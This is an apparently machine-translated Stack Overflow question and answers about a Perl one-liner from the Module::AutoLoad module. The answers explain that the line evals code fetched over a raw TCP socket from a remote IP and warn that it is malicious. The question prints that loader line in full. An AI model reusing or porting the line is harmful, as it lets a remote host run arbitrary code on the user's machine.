Perl - 理解“botstrap”

Avi*_*mer 3 perl

我有这段代码

use lib do{eval<$b>&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"};
Run Code Online (Sandbox Code Playgroud)

这似乎导入了一个库,但我不知道如何botstrap工作。

有人可以向我解释一下,因为我想将其移植到 Python。

Bor*_*din 16

botstrap是作为Module::AutoLoad模块一部分的私有子程序。整个语句应该毫无疑问地合并到您的代码中

这个想法是模块将安装代码所需的任何模块,而无需操作员干预。我建议这是一个可怕的想法,你应该确保你的 Python 代码导入的任何东西都已经以通常的方式安装了

  • FWIW:此代码是恶意的,但是有几个选项可以自动安装模块,这些模块不涉及通过 TCP 进行字符串评估任意代码,例如 [lib::xi](https://metacpan.org/pod/lib ::xi) 和 [懒惰](https://metacpan.org/pod/lazy)。 (10认同)
  • 截至 2020 年 7 月 28 日,该模块已从 CPAN 中删除,并且作者被禁止上传更多模块。 (9认同)
  • @ThisSuitIsBlackNot:我只是写了一条评论来说明这一点。这使得这个模块比最初看起来更不吸引人。如果您查看 `http://R.cX:1/` 的内容,那么即使是这样也会被混淆。所有这些都与开源的想法背道而驰,在生产代码中调用这个“模块”会很疯狂,原因有很多 (5认同)
  • 更糟糕的是,从`http://r.cx:1/`下载的代码使用`eval`访问`http://ww.limera1n.com/`并执行`iJailBreak`,这是一个iPhone解锁程序。这与安装缺少的 Perl 模块无关,而且该功能是邪恶的。那可能是因为网站`http://r.cx` 被黑了,但毫无疑问,这个模块*不属于CPAN*。 (5认同)
  • 哇。看看孩子们,这就是为什么你应该避免使用任意代码的字符串 `eval`。 (4认同)

Joe*_*hon 11

我戴上了安全帽,并对模块的整体设计,特别是测试套件发表了一些评论。

我们一次又一次地警告人们,这curl | bash是一件非常愚蠢的事情。人们永远不应该简单地执行一些碰巧位于无法控制的 URL 远端的事情,并且通常可以在 Internet 上访问,并希望一切都会好起来。

但是这个模块被提前撤下的原因并不是它这样做——尽管我认为即使将安全漏洞作为一个模块来实现的基本想法也是一个糟糕的想法——它被撤下是因为以下所有:

  • 测试套件访问了安装程序无法控制的站点,而没有警告他们会发生这种情况
  • 它掩盖了正在使用的网站
  • 正在下载的代码不是确保测试通过所需的最低限度
  • 正在下载的代码被故意混淆,以使安装人员难以对其进行安全审查
  • 最糟糕的是,它当前下载的代码似乎是恶意软件。(旁注:如果不是也没关系!事实并非非常明显本身就是不好的)。

所有这些的组合不仅不安全,而且非常危险。我从作者的回答中看到,包含对 iOS 越狱的引用是为了“有趣”。生产模块不应该这么有趣。

如果幽默是有意的[1],则将其放在非 Acme 命名空间中是不合适的。此外,绝对不需要混淆下载的代码。

即使作者将其加载的内容更改为明文虚拟“嘿,看,我安装了”模块,他们仍然会削弱使用此模块的每个安装的安全性,使其与安全性一样好。如果您想编写这样的模块,您必须准备好为每个使用它的站点承担该级别的责任。即使您认为自己已准备好这样做,但您可能还没有准备好。

用户对警察负责的脚踏枪是一回事。交付时装满弹药,弹药可能会突然变得非常危险,并且在测试套件期间实际发射的步枪是非常不合适的。

更新:我已经直接与作者交谈,他似乎愿意纠正这个问题,并将采纳我对这个模块的建议:将其移至 Acme,将测试更改为使用本地 HTTP 服务器而不是外部服务器,另外还要求I_KNOW_THIS_IS_A_REMOTE_CODE_EXECUTION_VULNERABILITY_AND_I_AM_WILLING_TO_RISK_MY_JOB_AND_COMPANY在模块运行之前将环境变量设置为真值。

[1] CPAN 使用Acme命名空间作为放置有趣/无意义/等的地方。模块。